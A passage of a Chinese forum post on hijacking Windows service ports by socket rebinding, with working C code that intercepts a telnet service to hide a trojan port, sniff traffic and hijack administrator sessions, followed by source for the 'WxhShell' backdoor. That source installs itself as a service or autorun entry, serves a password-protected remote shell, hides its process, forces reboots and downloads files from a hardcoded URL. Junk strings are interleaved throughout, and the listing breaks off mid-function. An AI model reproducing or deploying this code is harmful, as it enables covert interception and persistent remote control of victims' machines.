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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [p2H=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8Th` ]tI  
bO&7-Z~:=  
  saddr.sin_family = AF_INET; ua OKv.%  
on8WQf'A#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  y2+p1  
MSV2ip3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A.D{.a  
gd0Vp Xf'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |,aG%MTL  
.cR -V`  
  这意味着什么?意味着可以进行如下的攻击: Y2O"]phi@  
;/0 Q1-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lhi_6&&[8  
fPR$kc h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t w(JZDc  
[2dn\z28  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (E,Yo  
4<x'ocKlD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W,K%c=  
(?H0+zws^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 & u!\<\  
nN~~cV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gN>2xnh'm  
r@{~ 5&L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^+ wD43  
r)T:7zy  
  #include W;1|+6x  
  #include 4pln5v=  
  #include Qjnd6uv{I  
  #include    ;P;((2_X9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Hk7q{`:N  
  int main() {VP$J"\e  
  { k64."*X  
  WORD wVersionRequested; JMCW}bA  
  DWORD ret; qiZO _=0  
  WSADATA wsaData; NWd<+-pC6  
  BOOL val; 4Td{;Y="yF  
  SOCKADDR_IN saddr; C_ \q?>  
  SOCKADDR_IN scaddr; 3&x-}y~sg  
  int err; af |5n><~A  
  SOCKET s; ]7Fs$y.  
  SOCKET sc; NO] 3*  
  int caddsize; siTX_`0  
  HANDLE mt; St<mDTi  
  DWORD tid;   .@"q$\  
  wVersionRequested = MAKEWORD( 2, 2 ); g!i45-n3gt  
  err = WSAStartup( wVersionRequested, &wsaData ); *FfMI  
  if ( err != 0 ) { up2+ s#  
  printf("error!WSAStartup failed!\n"); unJ R=~E  
  return -1; U#n#7G6fRp  
  } KK,Z"){  
  saddr.sin_family = AF_INET; QaGlR`Y  
   &wU'p-V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8_&CT :u>  
_Cw:J|l.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zd_HxYrN  
  saddr.sin_port = htons(23); X]loJoM9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |e a~'N1  
  { }dxDt qb  
  printf("error!socket failed!\n"); 2qi'g:qe  
  return -1; /cK%n4l.y  
  } IG?'zppjd6  
  val = TRUE; m'-|{c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `funE:>,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `]v[5E  
  { &3Zy|p4V<  
  printf("error!setsockopt failed!\n"); 5[{*{^F4  
  return -1;  h C=:q  
  } 9]'($:LF08  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >\ u<&>i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }YOL"<,:o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~Z ~v  
.d?%;2*{q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `mH %!{P  
  { f(D_FTTO  
  ret=GetLastError(); ]MtFf6&  
  printf("error!bind failed!\n"); gq"k<C0  
  return -1; iU+nqY'  
  } aS}1Q?cU  
  listen(s,2); |BZDhd9<{  
  while(1) qi^!GA'5j  
  { #,(sAj  
  caddsize = sizeof(scaddr); q@hp.(V  
  //接受连接请求 >O/ D!j|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !'=15&5@  
  if(sc!=INVALID_SOCKET) }<jb vCeK  
  { mfny4R1_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -;;Z 'NM;8  
  if(mt==NULL) i{^Z1;Yl  
  { OTB$V k  
  printf("Thread Creat Failed!\n"); l$*=<tV  
  break; Q{QYBh&  
  } I NSkgOo  
  } Y`6rEA0  
  CloseHandle(mt); L?Yoh<  
  } N:VX!w  
  closesocket(s); W YW|P2*  
  WSACleanup(); o$.e^XL  
  return 0; x\s,= n3z  
  }   pWE`x|J  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6O2=Ns;J6  
  { 6 fz}  
  SOCKET ss = (SOCKET)lpParam; Q 6C-4ja  
  SOCKET sc; 'z=:[#b  
  unsigned char buf[4096]; W2-=U@  
  SOCKADDR_IN saddr; gLE7Edcp6V  
  long num;  \4ghYQ:  
  DWORD val; *pzq.#  
  DWORD ret; iP3Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 02AI%OOH  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :RxHw;!  
  saddr.sin_family = AF_INET; >cL{Ya}Rz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); DZ ^1s~  
  saddr.sin_port = htons(23); s]27l3)B  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HjWq[[Nz  
  { =wi*Nd7L  
  printf("error!socket failed!\n"); *oI*-C  
  return -1; bVr*h2 p  
  } mT*{-n_Zs  
  val = 100; 1U\$iy8}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O(H1P[  
  { qu6DQ@ ~YC  
  ret = GetLastError(); $t rAC@3O@  
  return -1; r!N]$lB  
  } w-N1.^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @LD6:gy  
  { [LM^), J?  
  ret = GetLastError(); \'?#i @O  
  return -1; oh#N 0 0X  
  } &ogt2<1W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]"fsW 9s  
  { &B{8uge1  
  printf("error!socket connect failed!\n"); |-2}j2'  
  closesocket(sc); +$z]w(lbT  
  closesocket(ss); t@bt6J .{  
  return -1; `BZ&~vJ_  
  } |I[7,`C~  
  while(1) '3l$al:H^  
  { $<?X7n^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @=]8^?$t 0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 KT*:F(4`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X}4}&  
  num = recv(ss,buf,4096,0); nw'-`*'rj  
  if(num>0) CidM(  
  send(sc,buf,num,0); eo#^L}  
  else if(num==0) #$'"cfRxc  
  break; j;P+_Hfe/E  
  num = recv(sc,buf,4096,0); w3*-^: ?j  
  if(num>0) \X}8 q  
  send(ss,buf,num,0); S9Y[4*//  
  else if(num==0) YwT-T,oD  
  break; 5a8>g [2U  
  } \Xg?Ug*9w  
  closesocket(ss); )+O r  
  closesocket(sc); Il~01|3+m  
  return 0 ; ('o&Q_  
  } 2O""4_G  
M7y|EB))  
)xl6,bq3  
========================================================== f!GHEhQ9  
F#q&(  
下边附上一个代码,,WXhSHELL Db03Nk>#  
zDBD.5R;  
========================================================== :pKG\A  
o#i ]"  
#include "stdafx.h" nf%4sIQ*x  
7$T8&Mh  
#include <stdio.h> &&RA4  
#include <string.h> e 3@x*XI  
#include <windows.h> ~\_T5/I%  
#include <winsock2.h> {/M\Q@j  
#include <winsvc.h> 7|D|4!i2Y  
#include <urlmon.h> \gKdD S  
sB*o)8  
#pragma comment (lib, "Ws2_32.lib") MR9/Y:Nm  
#pragma comment (lib, "urlmon.lib") x6yW:tUG5  
, r+"7$  
#define MAX_USER   100 // 最大客户端连接数 Etnb3<^[t  
#define BUF_SOCK   200 // sock buffer ?g  }kb  
#define KEY_BUFF   255 // 输入 buffer c]m! G'L_/  
F$6? t.@J  
#define REBOOT     0   // 重启 eO4)|tW  
#define SHUTDOWN   1   // 关机 !ng\` |8?  
j]> uZalr  
#define DEF_PORT   5000 // 监听端口 d?Y-;-|8Qh  
B%b_/F]e  
#define REG_LEN     16   // 注册表键长度 fNhT;Bux  
#define SVC_LEN     80   // NT服务名长度 c;V D}UD'  
/mbCP>bcG  
// 从dll定义API 5j [#'3TSU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Sb<\-O14"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _-a|VTM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QPg2Y<2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U~QMR-bz  
23E 0~O  
// wxhshell配置信息 }$)&{d G  
struct WSCFG { m6so]xr  
  int ws_port;         // 监听端口 V<0$xV1b|=  
  char ws_passstr[REG_LEN]; // 口令 VO9f~>`(  
  int ws_autoins;       // 安装标记, 1=yes 0=no D!l8l49hLu  
  char ws_regname[REG_LEN]; // 注册表键名 g,?\~8-c  
  char ws_svcname[REG_LEN]; // 服务名 !kh{9I>M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $N\+,?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q+/l"&j.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BjD&> gO)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EzP#Mnz^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bXl8v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l P0k:  
iSd?N}2,I  
}; m`9^.>]P  
xii$e  
// default Wxhshell configuration BvJ=iB<E  
struct WSCFG wscfg={DEF_PORT, ONWO`XD  
    "xuhuanlingzhe", =J.EH|  
    1, hAa[[%wPhU  
    "Wxhshell", u9>6|w+  
    "Wxhshell", T +\B'"  
            "WxhShell Service", ,P{ HE8.  
    "Wrsky Windows CmdShell Service", v72,h  
    "Please Input Your Password: ", ?'+8[OHiF^  
  1, FW^.m?}|  
  "http://www.wrsky.com/wxhshell.exe", n0FYfqH  
  "Wxhshell.exe" + U5U.f%  
    }; h ]}`@M"  
3:" &Z6t#  
// 消息定义模块 V_M@g;<o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MgnE-6_c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0^iJlR2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ki 3_N*z  
char *msg_ws_ext="\n\rExit."; (w2(qT&O  
char *msg_ws_end="\n\rQuit."; LhKY}R  
char *msg_ws_boot="\n\rReboot..."; I =b'j5c  
char *msg_ws_poff="\n\rShutdown..."; <UK5eVQn  
char *msg_ws_down="\n\rSave to "; Ld~4nc$H8  
pX]21&F  
char *msg_ws_err="\n\rErr!"; ?H0m<jO8~  
char *msg_ws_ok="\n\rOK!"; \*9Ua/H  
S-P{/;c@  
char ExeFile[MAX_PATH]; .nPL2zO  
int nUser = 0; ylim/`u}6  
HANDLE handles[MAX_USER]; k!c7a\">{  
int OsIsNt; Gbx";Y8  
\)GR\~z0h  
SERVICE_STATUS       serviceStatus; @YNGxg~*g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #fzw WP  
7<4xtK`+b  
// 函数声明 [iXi\Ex  
int Install(void); 4g'}h`kh  
int Uninstall(void); TMtI^mkB:  
int DownloadFile(char *sURL, SOCKET wsh); LO}z)j~W  
int Boot(int flag); 4]u,x`6C  
void HideProc(void); w=$'Lt!  
int GetOsVer(void); JP_kQ  
int Wxhshell(SOCKET wsl); q-uLA&4  
void TalkWithClient(void *cs); L`pY27 |  
int CmdShell(SOCKET sock); UhA_1A'B  
int StartFromService(void); ul$omKI$}  
int StartWxhshell(LPSTR lpCmdLine); .]zw*t*  
kpWzMd &RK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +yIL[D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P09,P  
hqWbp*  
// 数据结构和表定义 /[L)tj7B  
SERVICE_TABLE_ENTRY DispatchTable[] = lG < yJ~{  
{ ` Rsl] GB  
{wscfg.ws_svcname, NTServiceMain}, 'M lXnHxt  
{NULL, NULL} k?n]ZNlT  
}; 8iOO1I?+  
VB's  
// 自我安装 y\z*p&I  
int Install(void) u:eW0Ows"  
{ [^Q&suy  
  char svExeFile[MAX_PATH]; .CvFE~  
  HKEY key; +|M{I= 8  
  strcpy(svExeFile,ExeFile); 8LeK wb  
y* rY~U#3  
// 如果是win9x系统,修改注册表设为自启动 TL]bY'%  
if(!OsIsNt) { Bf+^O)Ns^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YjL t&D:IZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W`5a:"Vg  
  RegCloseKey(key); oB3q AP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {[N?+ZJD*L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cPm~` Zd  
  RegCloseKey(key); >z5Oy  
  return 0; y78z>(jV  
    } h%/ssB  
  } #9INX`s-  
} k|l5"&K~.  
else { {Bc#?n  
=_uol8v  
// 如果是NT以上系统,安装为系统服务 ?|)rv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gDMAc/V`l  
if (schSCManager!=0) %db3f z  
{ <qr^Nyo4  
  SC_HANDLE schService = CreateService ,Z?m`cx  
  ( #[Z<=i~C  
  schSCManager, (A2U~j?Ry}  
  wscfg.ws_svcname, -#daBx ?  
  wscfg.ws_svcdisp, YI/{TL8*KK  
  SERVICE_ALL_ACCESS, h k/+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %5`r-F  
  SERVICE_AUTO_START, G IK u  
  SERVICE_ERROR_NORMAL, QT7_x`#J~o  
  svExeFile, \y@ eBW  
  NULL, (26Bs':M~  
  NULL, qih6me8C  
  NULL, .$UTH@;7  
  NULL, @{'o#EJY  
  NULL x}_rnf_  
  ); j_(?=7Y3g  
  if (schService!=0) (e 0_RQ  
  { jm4)gmC  
  CloseServiceHandle(schService); sK#H4y+<  
  CloseServiceHandle(schSCManager); hl*MUD,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eS* *L 3  
  strcat(svExeFile,wscfg.ws_svcname); ;r%<2(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FF8WTuzB+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hJ<:-u+yk}  
  RegCloseKey(key); R !jhwY$  
  return 0; _ \_3s  
    } f>|9 l  
  } j`{fB}  
  CloseServiceHandle(schSCManager);  )Kxs@F  
} j1W bD7*8  
} 33O)k*g  
@Ap@m6K?q  
return 1; +yt6.L  
} )_X;9%L7  
4(m/D>6:  
// 自我卸载 Zp^)_ 0  
int Uninstall(void) LH bZjZ2  
{ %f_FGh  
  HKEY key; tP&{ J^G  
7 FEzak'  
if(!OsIsNt) { gQu\[e%mVo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eB)UXOu1  
  RegDeleteValue(key,wscfg.ws_regname); o`oRG)QC  
  RegCloseKey(key); 3D{82*&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [kVpzpGr  
  RegDeleteValue(key,wscfg.ws_regname); b?sA EU;  
  RegCloseKey(key); ZCj>MA  
  return 0; *oKgP8CF  
  } IvPA|8(  
} B8`R(vu;  
} MacL3f  
else { [O.LUR;  
MoZU(j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e|S+G6 :O2  
if (schSCManager!=0) e!TG< (S  
{ .%|OGl ?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); { +i;e]c  
  if (schService!=0) ^H f+du  
  { @ARAX\F  
  if(DeleteService(schService)!=0) { "K9vm^xP  
  CloseServiceHandle(schService); UDhwnGTq(l  
  CloseServiceHandle(schSCManager); _HSTiJVr  
  return 0; 8h55$j  
  } y.L|rRe@P  
  CloseServiceHandle(schService); Wh#os,U$  
  } ,| $|kO/  
  CloseServiceHandle(schSCManager); 40`9t Xn  
} l=Vowx.$2f  
} nC-c8y  
dY/|/eOt<K  
return 1; %iHyt,0v2  
} [GcA.ABz  
A}az m>  
// 从指定url下载文件 }Z~pfm_S  
int DownloadFile(char *sURL, SOCKET wsh) 8Sd?b5|G~  
{ " 8~f  
  HRESULT hr; V#n?&-{V  
char seps[]= "/"; 1^n5CI|7u  
char *token; iKP\/LR<n  
char *file; pZni,< Q  
char myURL[MAX_PATH]; SQz$kIZR  
char myFILE[MAX_PATH]; >FK)p   
,Y78Q  
strcpy(myURL,sURL); w*|=k~z  
  token=strtok(myURL,seps); Sn{aHH  
  while(token!=NULL) n_e}>1_  
  { ,U} 5  
    file=token; @vVRF Z  
  token=strtok(NULL,seps); oyi7YRvwd  
  } e<ism?WG  
Pf^Ly 97  
GetCurrentDirectory(MAX_PATH,myFILE); O=4c eE mz  
strcat(myFILE, "\\"); TWl(\<&+)  
strcat(myFILE, file); ]%vGC^  
  send(wsh,myFILE,strlen(myFILE),0); .j'@K+<45  
send(wsh,"...",3,0); uIVTs9\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *!wO:< -  
  if(hr==S_OK) .3S\Rrv  
return 0; ,_wm,  
else E@\d<c.  
return 1; Q"l"p:n%n  
I_jM-/3b  
} mmpr]cT@'k  
hIE%-gZ/  
// 系统电源模块 \ N-| iq  
int Boot(int flag) ZC9.R$}Kl  
{ wfU&{7yt  
  HANDLE hToken; 2l\D~ y  
  TOKEN_PRIVILEGES tkp; 7g4M/?H}K  
rU2YMghE  
  if(OsIsNt) { }uV?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EL2hD$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  YiY&; )w  
    tkp.PrivilegeCount = 1; 2Be?5+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JsWq._O{/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W>t&N  
if(flag==REBOOT) { 1DI"LIL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R9|2&pfm(M  
  return 0; ~|0F?~eR7  
} T9U2j-lA?  
else { E9Qd>o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D:RBq\8  
  return 0; u+I r:k  
} /w}B07.  
  } D=q;+,Pc  
  else { O[5_ 9W 4  
if(flag==REBOOT) { d-#u/{jG)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #*7/05)  
  return 0; FJwZo}<6E  
} 9FIe W[  
else { jU3;jm.)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |4?}W ,  
  return 0; CLFxq@%nu~  
} jmk*z(}#:  
} 8R??J>h5\  
U`8^N.Snrp  
return 1; G2[IO $  
} SCt=OdP=  
}?Yr>ZRi  
// win9x进程隐藏模块 N8MlT \+r  
void HideProc(void) #?b^B~ #  
{ '%]@a7w  
C&CsI] @g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |)72E[lL  
  if ( hKernel != NULL ) bVAgul=__  
  { /v;)H#;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #ejw@bd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jv4D^>yj[  
    FreeLibrary(hKernel); :+%h  
  } +=B}R  
sP3.s_U^  
return; _WjETyh [H  
} 5qtmb4R~  
lu@>?,<  
// 获取操作系统版本 SJ WP8+  
int GetOsVer(void) 'Kso@St`o  
{ E23 Yk?"  
  OSVERSIONINFO winfo; 4W//Oc@e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eV {FcJha  
  GetVersionEx(&winfo); zcD_}t_K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tM PX vE  
  return 1; L/iVs`qF  
  else _{Q?VQvZ  
  return 0; mJDKxgGK  
} ~=AKX(Q  
S'-`\%@7  
// 客户端句柄模块 QSs$   
int Wxhshell(SOCKET wsl) TXh@  
{ vX0I^ 8.  
  SOCKET wsh; eEri v@v  
  struct sockaddr_in client; (HrkUkw  
  DWORD myID; N5rG.6K  
i\Q"a B"r  
  while(nUser<MAX_USER) c] >&6-;rf  
{ &6^W% r  
  int nSize=sizeof(client); :2UC{_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b-(UsY:  
  if(wsh==INVALID_SOCKET) return 1; :kiO  
64 \5v?C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :@@A  
if(handles[nUser]==0) 1-NX>E5  
  closesocket(wsh); dj'8x48H2W  
else  n wZr3r  
  nUser++; )Y,?r[4{  
  } {EoyMJgz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); noUZ9M|hz  
,I&0#+}n  
  return 0; 548 [! p4  
} 3P^gP32  
)x:j5{>(  
// 关闭 socket tj^:SW.0  
void CloseIt(SOCKET wsh) S_ -QvG2  
{ };|PFWs  
closesocket(wsh); 5 *pN<S  
nUser--; %`\_l  
ExitThread(0); mv%:[+!  
} ,pa&he  
|Q)w3\S$  
// 客户端请求句柄 t-4 R7`A<  
void TalkWithClient(void *cs) JJHvj=9'o  
{ %Rsf6rJ  
=Wy`X0h  
  SOCKET wsh=(SOCKET)cs; R5;eR(24G  
  char pwd[SVC_LEN]; F/od,w9_  
  char cmd[KEY_BUFF]; ~q T1<k  
char chr[1]; yDyeP{  
int i,j; lQ<n dt~  
zI:5I@ X  
  while (nUser < MAX_USER) { d,rEEc Y  
*JC{G^|Y  
if(wscfg.ws_passstr) { C.B}Py+   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WKIiJ{@L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .SV3<)  
  //ZeroMemory(pwd,KEY_BUFF); pn%|;  
      i=0; TX [%s@C  
  while(i<SVC_LEN) { ^YJ^+:D(  
b}L,kT  
  // 设置超时 %FWfiFV|<  
  fd_set FdRead; (F '  
  struct timeval TimeOut; 8~Hs3\Hp  
  FD_ZERO(&FdRead); 'kg]|"M  
  FD_SET(wsh,&FdRead); '-]BSU  
  TimeOut.tv_sec=8; qddT9U|8~  
  TimeOut.tv_usec=0; %V1T !<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (:Hbtr I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O9=H [b  
p,u<g JUL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KIBZQ.uG  
  pwd=chr[0]; 4x{ti5Y0  
  if(chr[0]==0xd || chr[0]==0xa) { S1= JdN  
  pwd=0; fQ.>G+0 I>  
  break; zcWxyLifl0  
  } RGA*7  
  i++; {i}Q}OgYq  
    } cTa D{!zm5  
6`";)T[G9  
  // 如果是非法用户,关闭 socket hGo|2@sc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f uN XY-;  
} 34^Cfh  
9c % Tv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cA SHgm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +M]8_kE=+l  
S=amjcC  
while(1) { |j}F$*SE[  
J$/BH\  
  ZeroMemory(cmd,KEY_BUFF); wBHDof xX  
[gdPHXs  
      // 自动支持客户端 telnet标准   zomNjy*  
  j=0; 'CO[s.03  
  while(j<KEY_BUFF) { jL%}y1m?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5_C#_=E  
  cmd[j]=chr[0]; 5t#]lg[06'  
  if(chr[0]==0xa || chr[0]==0xd) { }<h. chz,  
  cmd[j]=0; /P"\ +Qp  
  break; :QL p`s  
  } pvUoed\  
  j++; :Sn3|`HDm  
    } >@Vr'kg+V  
[=F |^KL  
  // 下载文件 Jo$Dxa z  
  if(strstr(cmd,"http://")) { ;/q6^Nk3A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vl~   
  if(DownloadFile(cmd,wsh)) `srZ#F5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *>$)#?t  
  else &p4<@k\L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AX RNV  
  } }/r%~cZ  
  else { U*:'/.  
eniR}  
    switch(cmd[0]) { AR6vc  
  =?Md&%j  
  // 帮助 I8]NY !'cW  
  case '?': { PM>XT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AHD%6 \$  
    break; hBE>ea  
  } pDq_nx9  
  // 安装 TPFmSDq  
  case 'i': { f:&OOD o  
    if(Install()) "]V|bz o0a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PSR `8z n  
    else Y(Ezw !a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~'.yhPo g  
    break; Fh $&puF2  
    } 9?$!=4  
  // 卸载 RAbq_^Q  
  case 'r': { %<|KJb4?  
    if(Uninstall()) m e{SVG{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HWOH8q{f!  
    else K61os&K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N4jLbnA  
    break; BQ0\+  
    } R >&/n/l  
  // 显示 wxhshell 所在路径 M F: Eu  
  case 'p': { 0w. _}C z  
    char svExeFile[MAX_PATH]; xumv I{  
    strcpy(svExeFile,"\n\r");  " 1Aus  
      strcat(svExeFile,ExeFile); 8mLU ~P |  
        send(wsh,svExeFile,strlen(svExeFile),0); 4PM`hc  
    break; `3oP^#  
    } :?k=Yr  
  // 重启 mJR T+SZ  
  case 'b': { @\}36y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M)^9e?  
    if(Boot(REBOOT)) q:sR zX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vp{2Z9]}  
    else { " <a|Q,!  
    closesocket(wsh); Yb{t!KL  
    ExitThread(0); &ru0i@?)  
    } 695ppiKU  
    break; nW'x#0-  
    } _u2  
  // 关机 kk+8NwM1  
  case 'd': { C~V$G}mM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m kf{_!TK  
    if(Boot(SHUTDOWN)) PzDgl6C  
